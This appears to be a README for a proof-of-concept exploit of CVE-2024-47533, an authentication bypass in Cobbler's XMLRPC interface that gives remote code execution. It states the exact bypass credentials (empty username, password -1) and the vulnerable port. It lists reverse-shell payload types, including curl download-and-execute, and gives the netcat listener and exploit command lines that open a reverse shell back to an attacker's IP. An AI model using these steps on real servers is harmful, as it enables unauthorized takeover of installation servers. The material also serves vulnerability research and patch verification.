CVE-2024-47533 PoC — Cobbler 授权问题漏洞

Description

CVE-2024-47533 is a critical authentication bypass vulnerability in Cobbler (versions 3.0.0 to before 3.2.3 and 3.3.7) allowing unauthenticated remote code execution via the XMLRPC interface.

介绍

# CVE-2024-47533 - Cobbler XMLRPC Authentication Bypass RCE Exploit

⚠️ Critical Remote Code Execution via Authentication Bypass in Cobbler  
🛠️ PoC implementation by @dollarboysushil

---

## 💡 Overview

Cobbler, a Linux installation server that enables rapid setup of network installation environments, has an authentication vulnerability in versions 3.0.0 up to (but not including) 3.2.3 and 3.3.7. The function utils.get_shared_secret() always returns -1, allowing anyone to connect to the Cobbler XML-RPC interface with an empty username ('') and password -1. This lets an attacker with network access gain full control of the Cobbler server. The vulnerability is fixed in versions 3.2.3 and 3.3.7.

---

## 🛠 Technical Breakdown

The vulnerability is caused by improper handling of the shared secret in the `utils.get_shared_secret()` function, which always returns `-1`, effectively bypassing authentication. This lets any network user connect to Cobbler’s XMLRPC interface with empty credentials and execute arbitrary commands.

---

## 🔥 Vulnerable Endpoint

`http://<target>:25151/` — Cobbler's XMLRPC API endpoint

---

## 💥 Example Payloads

The exploit script supports various reverse shell payloads including:

- Bash reverse shell
- Netcat shells (`nc`, `nc2`)
- Python reverse shell
- Curl download & execute

---

## 🔬 Proof-of-Concept (PoC) Demonstration

### 📡 Preparing the Listener

Start a Netcat listener on your machine:

```bash
nc -lvnp 4444
```

![netcat listener](images/image.png)

### 🚀 Launching the Exploit

Run the exploit script CVE-2024-47533-dbs.py.

```bash
python3 CVE-2024-47533-dbs.py -t http://127.0.0.1:25151 -l 10.10.15.16 -p 4444 --payload bash
```

![CVE-2024-47533-dbs.py](images/image2.png)

### 💻 Successful Remote Shell Access

Upon successful execution, the reverse shell will connect back to the listener, granting the attacker remote access to the server.

![Successfull Reverse Shell](images/image3.png)

## 📝 References

- [SUSE Security Advisory for CVE-2024-47533](https://www.suse.com/security/cve/CVE-2024-47533.html)
- [GitHub Security Advisory GHSA-m26c-fcgh-cp6h](https://github.com/advisories/GHSA-m26c-fcgh-cp6h)
- [Snyk Vulnerability Database: SNYK-PYTHON-COBBLER-8384360](https://security.snyk.io/vuln/SNYK-PYTHON-COBBLER-8384360)

文件快照

备注